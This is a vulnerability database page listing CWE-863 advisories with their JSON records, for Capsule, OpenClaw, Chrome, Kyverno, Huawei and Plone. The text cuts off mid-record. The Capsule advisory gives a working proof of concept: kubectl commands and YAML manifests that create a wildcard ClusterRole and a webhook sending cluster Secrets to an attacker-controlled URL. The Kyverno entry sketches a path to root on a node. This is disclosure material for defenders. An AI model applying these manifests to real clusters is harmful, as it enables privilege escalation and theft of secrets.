Common Weakness Enumeration

CWE-863

Allowed-with-Review

Incorrect Authorization

Abstraction: Class · Status: Incomplete

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.

5631 vulnerabilities reference this CWE, most recent first.

GHSA-QJJM-7J9W-PW72

Vulnerability from github – Published: 2026-05-28 17:02 – Updated: 2026-06-09 10:50
VLAI
Summary
Capsule TenantResource RawItems Cluster-Scoped Resource Creation Vulnerability
Details

TenantResource RawItems Cluster-Scoped Resource Creation Vulnerability

Summary

The Capsule Controller runs with cluster-admin privileges. Although the TenantResource RawItems processing logic forcibly sets the namespace, this is ineffective for cluster-scoped resources. Tenant administrators can leverage the Controller's elevated privileges to create cluster-scoped resources (such as ClusterRole and ValidatingWebhookConfiguration) that they cannot create directly, achieving cross-tenant privilege escalation and cluster-level attacks.


Details

Vulnerability Location

File: internal/controllers/resources/processor.go Function: HandleSection() Lines: 247-285

Core Issues

  1. Excessive Controller Privileges: The Controller's ServiceAccount is bound to the cluster-admin ClusterRole yaml # ClusterRoleBinding: capsule-manager-rolebinding roleRef: kind: ClusterRole name: cluster-admin

  2. Missing Resource Scope Validation: Although the code calls obj.SetNamespace(ns.Name), this is ineffective for cluster-scoped resources (ClusterRole, ValidatingWebhookConfiguration, etc.), as the Kubernetes API ignores this field

  3. Missing Resource Type Validation: No check for whether resources are cluster-scoped

Vulnerable Code Analysis

// internal/controllers/resources/processor.go
for rawIndex, item := range spec.RawItems {
    template := string(item.Raw)

    t := fasttemplate.New(template, "{{ ", " }}")
    tmplString := t.ExecuteString(map[string]interface{}{
        "tenant.name": tnt.Name,
        "namespace":   ns.Name,
    })

    obj, keysAndValues := unstructured.Unstructured{}, []interface{}{"index", rawIndex}

    // Issue 1: Accepts any resource type, including cluster-scoped resources
    if _, _, decodeErr := codecFactory.UniversalDeserializer().Decode(
        []byte(tmplString), nil, &obj); decodeErr != nil {
        log.Error(decodeErr, "unable to deserialize rawItem", keysAndValues...)
        syncErr = errors.Join(syncErr, decodeErr)
        continue
    }

    // Issue 2: For cluster-scoped resources, this setting is ignored by API
    obj.SetNamespace(ns.Name)

    // Issue 3: Controller creates with cluster-admin privileges, no scope check
    if rawErr := r.createOrUpdate(ctx, &obj, objLabels, objAnnotations); rawErr != nil {
        log.Info("unable to sync rawItem", keysAndValues...)
        syncErr = errors.Join(syncErr, rawErr)
    }
}

Attack Chain

Tenant Owner (bob) - Has TenantResource creation permission
  ↓
Creates TenantResource containing cluster-scoped resources
  ↓
Capsule Controller (cluster-admin) processes RawItems
  ↓
obj.SetNamespace() ignored by Kubernetes API (cluster-scoped resources have no namespace)
  ↓
Successfully creates cluster-scoped resources (ClusterRole, ValidatingWebhook, etc.)
  ↓
Cross-tenant privilege escalation / Cluster-level attacks

PoC

Environment Setup

Test Environment: Kubernetes 1.27+ cluster (verified using Kind cluster)

Step 1: Verify Capsule Controller Privileges

kubectl get clusterrolebinding capsule-manager-rolebinding -o yaml

Confirm output contains:

roleRef:
  kind: ClusterRole
  name: cluster-admin  # Controller has full cluster management privileges

Step 2: Install Capsule and Create Test Tenant

Complete Capsule installation and tenant creation following previous environment setup steps.

Step 3: Verify bob's Permission Restrictions

Verify bob can create TenantResource:

kubectl auth can-i create tenantresources --as bob --as-group projectcapsule.dev -n tenant-b-ns1

Actual output:

yes

Verify bob cannot create ClusterRole:

kubectl auth can-i create clusterroles --as bob --as-group projectcapsule.dev

Actual output:

Warning: resource 'clusterroles' is not namespace scoped in group 'rbac.authorization.k8s.io'

no

Verify bob cannot create ValidatingWebhook:

kubectl auth can-i create validatingwebhookconfigurations --as bob --as-group projectcapsule.dev

Actual output:

Warning: resource 'validatingwebhookconfigurations' is not namespace scoped in group 'admissionregistration.k8s.io'

no

Attack Vector 1: Creating Malicious ClusterRole

Step 4: Create TenantResource Containing ClusterRole

Create file attack-clusterrole.yaml:

apiVersion: capsule.clastix.io/v1beta2
kind: TenantResource
metadata:
  name: create-clusterrole
  namespace: tenant-b-ns1
spec:
  resyncPeriod: 60s
  resources:
    - namespaceSelector:
        matchLabels:
          capsule.clastix.io/tenant: tenant-b
      rawItems:
        - apiVersion: rbac.authorization.k8s.io/v1
          kind: ClusterRole
          metadata:
            name: malicious-clusterrole
          rules:
          - apiGroups: ["*"]
            resources: ["*"]
            verbs: ["*"]

Apply configuration as bob user (critical - must specify executor):

kubectl apply -f attack-clusterrole.yaml --as bob --as-group projectcapsule.dev

Actual output:

tenantresource.capsule.clastix.io/create-clusterrole created

Important: The --as bob --as-group projectcapsule.dev parameters are crucial for proving that bob (not the cluster admin) is executing this attack.

Step 5: Verify ClusterRole Creation

kubectl get clusterrole malicious-clusterrole

Actual output:

NAME                    CREATED AT
malicious-clusterrole   2026-01-05T16:10:02Z

View details:

kubectl get clusterrole malicious-clusterrole -o yaml

Key output:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  annotations:
    capsule.clastix.io/tenant: tenant-b
  name: malicious-clusterrole
rules:
- apiGroups: ["*"]
  resources: ["*"]
  verbs: ["*"]

Verification Successful: bob cannot directly create ClusterRole, but successfully created a cluster-scoped ClusterRole with all permissions through TenantResource.

Step 6: Exploit ClusterRole for Cross-Tenant Attack

Now bob can create a ClusterRoleBinding binding this ClusterRole to gain cluster-level privileges:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: bob-cluster-admin
subjects:
- kind: User
  name: bob
  apiGroup: rbac.authorization.k8s.io
roleRef:
  kind: ClusterRole
  name: malicious-clusterrole
  apiGroup: rbac.authorization.k8s.io

After applying, bob will have full cluster management privileges and can access resources of all tenants.

Attack Vector 2: Creating Malicious ValidatingWebhook

Step 7: Create TenantResource Containing Webhook

Create file attack-webhook.yaml:

apiVersion: capsule.clastix.io/v1beta2
kind: TenantResource
metadata:
  name: create-webhook
  namespace: tenant-b-ns1
spec:
  resyncPeriod: 60s
  resources:
    - namespaceSelector:
        matchLabels:
          capsule.clastix.io/tenant: tenant-b
      rawItems:
        - apiVersion: admissionregistration.k8s.io/v1
          kind: ValidatingWebhookConfiguration
          metadata:
            name: malicious-webhook
          webhooks:
          - name: malicious.webhook.com
            clientConfig:
              url: "https://attacker-controlled-server.com/webhook"
            rules:
            - operations: ["CREATE", "UPDATE"]
              apiGroups: [""]
              apiVersions: ["v1"]
              resources: ["secrets"]
            admissionReviewVersions: ["v1"]
            sideEffects: None
            failurePolicy: Ignore

Apply configuration as bob user:

kubectl apply -f attack-webhook.yaml --as bob --as-group projectcapsule.dev

Actual output:

tenantresource.capsule.clastix.io/create-webhook created

Step 8: Verify Webhook Creation

kubectl get validatingwebhookconfiguration malicious-webhook

Actual output:

NAME                WEBHOOKS   AGE
malicious-webhook   1          5s

Verification Successful: bob cannot directly create Webhook, but successfully created a cluster-scoped ValidatingWebhookConfiguration through TenantResource.

Step 9: Exploit Webhook to Steal Sensitive Data

At this point, whenever any user in the cluster creates or updates a Secret, the Kubernetes API Server will call the attacker-controlled webhook server, sending an AdmissionReview request containing the complete Secret content. The attacker can:

  1. Steal Secret data from all tenants (database passwords, API keys, etc.)
  2. Modify Secret contents
  3. Deny legitimate Secret creation requests, achieving DoS attacks

Impact

Affected Scope

This vulnerability affects all Capsule deployments with the following prerequisites: 1. Capsule Controller runs with cluster-admin privileges (default configuration) 2. Tenant Owner has permission to create TenantResource

Security Impact

  1. Cross-Tenant Privilege Escalation
  2. Create ClusterRole to gain cluster-level privileges
  3. Break tenant isolation boundaries
  4. Access all resources of other tenants

  5. Large-Scale Sensitive Data Theft

  6. Intercept all Secret creation/update requests through malicious Webhook
  7. Steal passwords, API keys, certificates, etc. across the entire cluster
  8. Real-time monitoring of all tenant sensitive operations

  9. Cluster-Level Denial of Service

  10. Deny all API requests through Webhook
  11. Make the entire cluster unavailable
  12. Impact all tenants

  13. Cluster Pollution

  14. Create malicious CRDs
  15. Modify StorageClass
  16. Impact cluster stability

  17. Persistent Backdoor

  18. Created cluster-scoped resources persist
  19. Even if TenantResource is deleted, ClusterRole and other resources remain
  20. Difficult to detect and remove

Limiting Factors

  1. Requires Tenant Owner privileges
  2. Requires Capsule Controller running with cluster-admin privileges (default configuration)
  3. Some clusters may have additional admission controllers blocking malicious resources
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/projectcapsule/capsule"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.13.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-22872"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-28T17:02:55Z",
    "nvd_published_at": "2026-06-01T19:16:21Z",
    "severity": "MODERATE"
  },
  "details": "# TenantResource RawItems Cluster-Scoped Resource Creation Vulnerability\n\n\n## Summary\n\nThe Capsule Controller runs with cluster-admin privileges. Although the TenantResource RawItems processing logic forcibly sets the namespace, this is ineffective for cluster-scoped resources. Tenant administrators can leverage the Controller\u0027s elevated privileges to create cluster-scoped resources (such as ClusterRole and ValidatingWebhookConfiguration) that they cannot create directly, achieving cross-tenant privilege escalation and cluster-level attacks.\n\n---\n\n## Details\n\n### Vulnerability Location\n\nFile: `internal/controllers/resources/processor.go`\nFunction: `HandleSection()`\nLines: 247-285\n\n### Core Issues\n\n1. **Excessive Controller Privileges**: The Controller\u0027s ServiceAccount is bound to the cluster-admin ClusterRole\n   ```yaml\n   # ClusterRoleBinding: capsule-manager-rolebinding\n   roleRef:\n     kind: ClusterRole\n     name: cluster-admin\n   ```\n\n2. **Missing Resource Scope Validation**: Although the code calls `obj.SetNamespace(ns.Name)`, this is ineffective for cluster-scoped resources (ClusterRole, ValidatingWebhookConfiguration, etc.), as the Kubernetes API ignores this field\n\n3. **Missing Resource Type Validation**: No check for whether resources are cluster-scoped\n\n### Vulnerable Code Analysis\n\n```go\n// internal/controllers/resources/processor.go\nfor rawIndex, item := range spec.RawItems {\n    template := string(item.Raw)\n\n    t := fasttemplate.New(template, \"{{ \", \" }}\")\n    tmplString := t.ExecuteString(map[string]interface{}{\n        \"tenant.name\": tnt.Name,\n        \"namespace\":   ns.Name,\n    })\n\n    obj, keysAndValues := unstructured.Unstructured{}, []interface{}{\"index\", rawIndex}\n\n    // Issue 1: Accepts any resource type, including cluster-scoped resources\n    if _, _, decodeErr := codecFactory.UniversalDeserializer().Decode(\n        []byte(tmplString), nil, \u0026obj); decodeErr != nil {\n        log.Error(decodeErr, \"unable to deserialize rawItem\", keysAndValues...)\n        syncErr = errors.Join(syncErr, decodeErr)\n        continue\n    }\n\n    // Issue 2: For cluster-scoped resources, this setting is ignored by API\n    obj.SetNamespace(ns.Name)\n\n    // Issue 3: Controller creates with cluster-admin privileges, no scope check\n    if rawErr := r.createOrUpdate(ctx, \u0026obj, objLabels, objAnnotations); rawErr != nil {\n        log.Info(\"unable to sync rawItem\", keysAndValues...)\n        syncErr = errors.Join(syncErr, rawErr)\n    }\n}\n```\n\n### Attack Chain\n\n```\nTenant Owner (bob) - Has TenantResource creation permission\n  \u2193\nCreates TenantResource containing cluster-scoped resources\n  \u2193\nCapsule Controller (cluster-admin) processes RawItems\n  \u2193\nobj.SetNamespace() ignored by Kubernetes API (cluster-scoped resources have no namespace)\n  \u2193\nSuccessfully creates cluster-scoped resources (ClusterRole, ValidatingWebhook, etc.)\n  \u2193\nCross-tenant privilege escalation / Cluster-level attacks\n```\n\n---\n\n## PoC\n\n### Environment Setup\n\nTest Environment: Kubernetes 1.27+ cluster (verified using Kind cluster)\n\n#### Step 1: Verify Capsule Controller Privileges\n\n```bash\nkubectl get clusterrolebinding capsule-manager-rolebinding -o yaml\n```\n\nConfirm output contains:\n```yaml\nroleRef:\n  kind: ClusterRole\n  name: cluster-admin  # Controller has full cluster management privileges\n```\n\n#### Step 2: Install Capsule and Create Test Tenant\n\nComplete Capsule installation and tenant creation following previous environment setup steps.\n\n#### Step 3: Verify bob\u0027s Permission Restrictions\n\n**Verify bob can create TenantResource:**\n```bash\nkubectl auth can-i create tenantresources --as bob --as-group projectcapsule.dev -n tenant-b-ns1\n```\n\nActual output:\n```\nyes\n```\n\n**Verify bob cannot create ClusterRole:**\n```bash\nkubectl auth can-i create clusterroles --as bob --as-group projectcapsule.dev\n```\n\nActual output:\n```\nWarning: resource \u0027clusterroles\u0027 is not namespace scoped in group \u0027rbac.authorization.k8s.io\u0027\n\nno\n```\n\n**Verify bob cannot create ValidatingWebhook:**\n```bash\nkubectl auth can-i create validatingwebhookconfigurations --as bob --as-group projectcapsule.dev\n```\n\nActual output:\n```\nWarning: resource \u0027validatingwebhookconfigurations\u0027 is not namespace scoped in group \u0027admissionregistration.k8s.io\u0027\n\nno\n```\n\n### Attack Vector 1: Creating Malicious ClusterRole\n\n#### Step 4: Create TenantResource Containing ClusterRole\n\nCreate file `attack-clusterrole.yaml`:\n\n```yaml\napiVersion: capsule.clastix.io/v1beta2\nkind: TenantResource\nmetadata:\n  name: create-clusterrole\n  namespace: tenant-b-ns1\nspec:\n  resyncPeriod: 60s\n  resources:\n    - namespaceSelector:\n        matchLabels:\n          capsule.clastix.io/tenant: tenant-b\n      rawItems:\n        - apiVersion: rbac.authorization.k8s.io/v1\n          kind: ClusterRole\n          metadata:\n            name: malicious-clusterrole\n          rules:\n          - apiGroups: [\"*\"]\n            resources: [\"*\"]\n            verbs: [\"*\"]\n```\n\nApply configuration **as bob user** (critical - must specify executor):\n\n```bash\nkubectl apply -f attack-clusterrole.yaml --as bob --as-group projectcapsule.dev\n```\n\nActual output:\n```\ntenantresource.capsule.clastix.io/create-clusterrole created\n```\n\n**Important**: The `--as bob --as-group projectcapsule.dev` parameters are crucial for proving that bob (not the cluster admin) is executing this attack.\n\n#### Step 5: Verify ClusterRole Creation\n\n```bash\nkubectl get clusterrole malicious-clusterrole\n```\n\nActual output:\n```\nNAME                    CREATED AT\nmalicious-clusterrole   2026-01-05T16:10:02Z\n```\n\nView details:\n\n```bash\nkubectl get clusterrole malicious-clusterrole -o yaml\n```\n\nKey output:\n```yaml\napiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRole\nmetadata:\n  annotations:\n    capsule.clastix.io/tenant: tenant-b\n  name: malicious-clusterrole\nrules:\n- apiGroups: [\"*\"]\n  resources: [\"*\"]\n  verbs: [\"*\"]\n```\n\n**Verification Successful**: bob cannot directly create ClusterRole, but successfully created a cluster-scoped ClusterRole with all permissions through TenantResource.\n\n#### Step 6: Exploit ClusterRole for Cross-Tenant Attack\n\nNow bob can create a ClusterRoleBinding binding this ClusterRole to gain cluster-level privileges:\n\n```yaml\napiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRoleBinding\nmetadata:\n  name: bob-cluster-admin\nsubjects:\n- kind: User\n  name: bob\n  apiGroup: rbac.authorization.k8s.io\nroleRef:\n  kind: ClusterRole\n  name: malicious-clusterrole\n  apiGroup: rbac.authorization.k8s.io\n```\n\nAfter applying, bob will have full cluster management privileges and can access resources of all tenants.\n\n### Attack Vector 2: Creating Malicious ValidatingWebhook\n\n#### Step 7: Create TenantResource Containing Webhook\n\nCreate file `attack-webhook.yaml`:\n\n```yaml\napiVersion: capsule.clastix.io/v1beta2\nkind: TenantResource\nmetadata:\n  name: create-webhook\n  namespace: tenant-b-ns1\nspec:\n  resyncPeriod: 60s\n  resources:\n    - namespaceSelector:\n        matchLabels:\n          capsule.clastix.io/tenant: tenant-b\n      rawItems:\n        - apiVersion: admissionregistration.k8s.io/v1\n          kind: ValidatingWebhookConfiguration\n          metadata:\n            name: malicious-webhook\n          webhooks:\n          - name: malicious.webhook.com\n            clientConfig:\n              url: \"https://attacker-controlled-server.com/webhook\"\n            rules:\n            - operations: [\"CREATE\", \"UPDATE\"]\n              apiGroups: [\"\"]\n              apiVersions: [\"v1\"]\n              resources: [\"secrets\"]\n            admissionReviewVersions: [\"v1\"]\n            sideEffects: None\n            failurePolicy: Ignore\n```\n\nApply configuration **as bob user**:\n\n```bash\nkubectl apply -f attack-webhook.yaml --as bob --as-group projectcapsule.dev\n```\n\nActual output:\n```\ntenantresource.capsule.clastix.io/create-webhook created\n```\n\n#### Step 8: Verify Webhook Creation\n\n```bash\nkubectl get validatingwebhookconfiguration malicious-webhook\n```\n\nActual output:\n```\nNAME                WEBHOOKS   AGE\nmalicious-webhook   1          5s\n```\n\n**Verification Successful**: bob cannot directly create Webhook, but successfully created a cluster-scoped ValidatingWebhookConfiguration through TenantResource.\n\n#### Step 9: Exploit Webhook to Steal Sensitive Data\n\nAt this point, whenever any user in the cluster creates or updates a Secret, the Kubernetes API Server will call the attacker-controlled webhook server, sending an AdmissionReview request containing the complete Secret content. The attacker can:\n\n1. Steal Secret data from all tenants (database passwords, API keys, etc.)\n2. Modify Secret contents\n3. Deny legitimate Secret creation requests, achieving DoS attacks\n\n---\n\n## Impact\n\n### Affected Scope\n\nThis vulnerability affects all Capsule deployments with the following prerequisites:\n1. Capsule Controller runs with cluster-admin privileges (default configuration)\n2. Tenant Owner has permission to create TenantResource\n\n### Security Impact\n\n1. **Cross-Tenant Privilege Escalation**\n   - Create ClusterRole to gain cluster-level privileges\n   - Break tenant isolation boundaries\n   - Access all resources of other tenants\n\n2. **Large-Scale Sensitive Data Theft**\n   - Intercept all Secret creation/update requests through malicious Webhook\n   - Steal passwords, API keys, certificates, etc. across the entire cluster\n   - Real-time monitoring of all tenant sensitive operations\n\n3. **Cluster-Level Denial of Service**\n   - Deny all API requests through Webhook\n   - Make the entire cluster unavailable\n   - Impact all tenants\n\n4. **Cluster Pollution**\n   - Create malicious CRDs\n   - Modify StorageClass\n   - Impact cluster stability\n\n5. **Persistent Backdoor**\n   - Created cluster-scoped resources persist\n   - Even if TenantResource is deleted, ClusterRole and other resources remain\n   - Difficult to detect and remove\n\n\n### Limiting Factors\n\n1. Requires Tenant Owner privileges\n2. Requires Capsule Controller running with cluster-admin privileges (default configuration)\n3. Some clusters may have additional admission controllers blocking malicious resources",
  "id": "GHSA-qjjm-7j9w-pw72",
  "modified": "2026-06-09T10:50:44Z",
  "published": "2026-05-28T17:02:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/projectcapsule/capsule/security/advisories/GHSA-qjjm-7j9w-pw72"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22872"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/projectcapsule/capsule"
    },
    {
      "type": "WEB",
      "url": "https://github.com/projectcapsule/capsule/releases/tag/v0.13.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Capsule TenantResource RawItems Cluster-Scoped Resource Creation Vulnerability"
}

GHSA-QJPC-QF9M-XWMR

Vulnerability from github – Published: 2026-07-02 16:43 – Updated: 2026-07-02 16:43
VLAI
Summary
OpenClaw: Trusted-proxy Control UI WebSocket accepted client-declared scopes before pairing
Details

Summary

In trusted-proxy Control UI mode, OpenClaw accepted a WebSocket client's declared operator scopes before those scopes were bound to a server-approved pairing or trusted-proxy authorization baseline.

This issue affects trusted-proxy Control UI deployments. It does not apply to shared-secret Control UI sessions, which are treated as trusted operator sessions by design.

Affected configurations

This affects deployments using gateway.auth.mode: "trusted-proxy" for Control UI access where a restricted trusted-proxy user could open a Control UI WebSocket and present a fresh, unpaired device identity with elevated requested scopes.

Impact

An unpaired or restricted trusted-proxy Control UI client could obtain cached operator.admin authority on its live WebSocket connection. That authority could then be used for admin-gated Gateway RPCs until the connection was closed or revalidated.

Patched Versions

The first stable patched version is 2026.5.18.

Mitigations

Upgrade to openclaw@2026.5.18 or later. Before upgrading, restrict trusted-proxy Control UI access to users who should have the scopes they can request, and restart the gateway after changing trusted-proxy authorization policy.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.5.18"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-862",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-02T16:43:53Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nIn trusted-proxy Control UI mode, OpenClaw accepted a WebSocket client\u0027s declared operator scopes before those scopes were bound to a server-approved pairing or trusted-proxy authorization baseline.\n\nThis issue affects trusted-proxy Control UI deployments. It does not apply to shared-secret Control UI sessions, which are treated as trusted operator sessions by design.\n\n### Affected configurations\n\nThis affects deployments using `gateway.auth.mode: \"trusted-proxy\"` for Control UI access where a restricted trusted-proxy user could open a Control UI WebSocket and present a fresh, unpaired device identity with elevated requested scopes.\n\n### Impact\n\nAn unpaired or restricted trusted-proxy Control UI client could obtain cached `operator.admin` authority on its live WebSocket connection. That authority could then be used for admin-gated Gateway RPCs until the connection was closed or revalidated.\n\n### Patched Versions\n\nThe first stable patched version is `2026.5.18`.\n\n### Mitigations\n\nUpgrade to `openclaw@2026.5.18` or later. Before upgrading, restrict trusted-proxy Control UI access to users who should have the scopes they can request, and restart the gateway after changing trusted-proxy authorization policy.",
  "id": "GHSA-qjpc-qf9m-xwmr",
  "modified": "2026-07-02T16:43:53Z",
  "published": "2026-07-02T16:43:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-qjpc-qf9m-xwmr"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenClaw: Trusted-proxy Control UI WebSocket accepted client-declared scopes before pairing"
}

GHSA-QJR8-78Q2-542W

Vulnerability from github – Published: 2022-05-24 19:04 – Updated: 2022-05-24 19:04
VLAI
Details

Insufficient policy enforcement in cookies in Google Chrome prior to 91.0.4472.77 allowed a remote attacker to bypass cookie policy via a crafted HTML page.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-30537"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-06-07T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Insufficient policy enforcement in cookies in Google Chrome prior to 91.0.4472.77 allowed a remote attacker to bypass cookie policy via a crafted HTML page.",
  "id": "GHSA-qjr8-78q2-542w",
  "modified": "2022-05-24T19:04:10Z",
  "published": "2022-05-24T19:04:10Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-30537"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2021/05/stable-channel-update-for-desktop_25.html"
    },
    {
      "type": "WEB",
      "url": "https://crbug.com/830101"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ETMZL6IHCTCTREEL434BQ4THQ7EOHJ43"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PAT6EOXVQFE6JFMFQF4IKAOUQSHMHL54"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202107-06"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-QJVC-P88J-J9RM

Vulnerability from github – Published: 2024-10-29 14:44 – Updated: 2024-11-07 19:23
VLAI
Summary
Kyverno's PolicyException objects can be created in any namespace by default
Details

Summary

A kyverno ClusterPolicy, ie. "disallow-privileged-containers," can be overridden by the creation of a PolicyException in a random namespace.

Details

By design, PolicyExceptions are consumed from any namespace. Administrators may not recognize that this allows users with privileges to non-kyverno namespaces to create exceptions.

PoC

  1. Administrator creates "disallow-privileged-containers" ClusterPolicy that applies to resources in the namespace "ubuntu-restricted"
  2. Cluster user creates a PolicyException object for "disallow-privileged-containers" in namespace "ubuntu-restricted"
  3. Cluster user creates a pod with a privileged container in "ubuntu-restricted"
  4. Cluster user escalates to root on the node from the privileged container

Impact

Administrators attempting to enforce cluster security through kyverno policies, but that allow less privileged users to create resources

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/kyverno/kyverno"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.13.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-48921"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-10-29T14:44:36Z",
    "nvd_published_at": "2024-10-29T15:15:10Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nA kyverno ClusterPolicy, ie. \"disallow-privileged-containers,\" can be overridden by the creation of a PolicyException in a random namespace.\n\n### Details\nBy design, PolicyExceptions are consumed from any namespace. Administrators may not recognize that this allows users with privileges to non-kyverno namespaces to create exceptions.\n\n### PoC\n1. Administrator creates \"disallow-privileged-containers\" ClusterPolicy that applies to resources in the namespace \"ubuntu-restricted\"\n2. Cluster user creates a PolicyException object for \"disallow-privileged-containers\" in namespace \"ubuntu-restricted\"\n3. Cluster user creates a pod with a privileged container in \"ubuntu-restricted\" \n4. Cluster user escalates to root on the node from the privileged container\n\n### Impact\nAdministrators attempting to enforce cluster security through kyverno policies, but that allow less privileged users to create resources",
  "id": "GHSA-qjvc-p88j-j9rm",
  "modified": "2024-11-07T19:23:10Z",
  "published": "2024-10-29T14:44:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kyverno/kyverno/security/advisories/GHSA-qjvc-p88j-j9rm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-48921"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kyverno/kyverno"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Kyverno\u0027s PolicyException objects can be created in any namespace by default"
}

GHSA-QJX9-QQPQ-V2W8

Vulnerability from github – Published: 2023-12-06 09:30 – Updated: 2023-12-11 18:30
VLAI
Details

Unauthorized access vulnerability in the card management module. Successful exploitation of this vulnerability may affect service confidentiality.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-49239"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-12-06T09:15:08Z",
    "severity": "HIGH"
  },
  "details": "Unauthorized access vulnerability in the card management module. Successful exploitation of this vulnerability may affect service confidentiality.",
  "id": "GHSA-qjx9-qqpq-v2w8",
  "modified": "2023-12-11T18:30:31Z",
  "published": "2023-12-06T09:30:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-49239"
    },
    {
      "type": "WEB",
      "url": "https://consumer.huawei.com/en/support/bulletin/2023/12"
    },
    {
      "type": "WEB",
      "url": "https://device.harmonyos.com/en/docs/security/update/security-bulletins-202312-0000001758430245"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QJXF-6PR8-J87V

Vulnerability from github – Published: 2022-05-17 04:49 – Updated: 2024-10-18 21:56
VLAI
Summary
Plone's authenticated users able to alter their password despite of policy definition
Details

mail_password.py in Plone 2.1 through 4.1, 4.2.x through 4.2.5, and 4.3.x through 4.3.1 allows remote authenticated users to bypass the prohibition on password changes via the forgotten password email functionality.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "Plone"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.1"
            },
            {
              "last_affected": "4.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "Plone"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2"
            },
            {
              "fixed": "4.2.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "Plone"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.3"
            },
            {
              "fixed": "4.3.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2013-4198"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-04-29T16:39:16Z",
    "nvd_published_at": "2014-03-11T19:37:00Z",
    "severity": "MODERATE"
  },
  "details": "`mail_password.py` in Plone 2.1 through 4.1, 4.2.x through 4.2.5, and 4.3.x through 4.3.1 allows remote authenticated users to bypass the prohibition on password changes via the forgotten password email functionality.",
  "id": "GHSA-qjxf-6pr8-j87v",
  "modified": "2024-10-18T21:56:46Z",
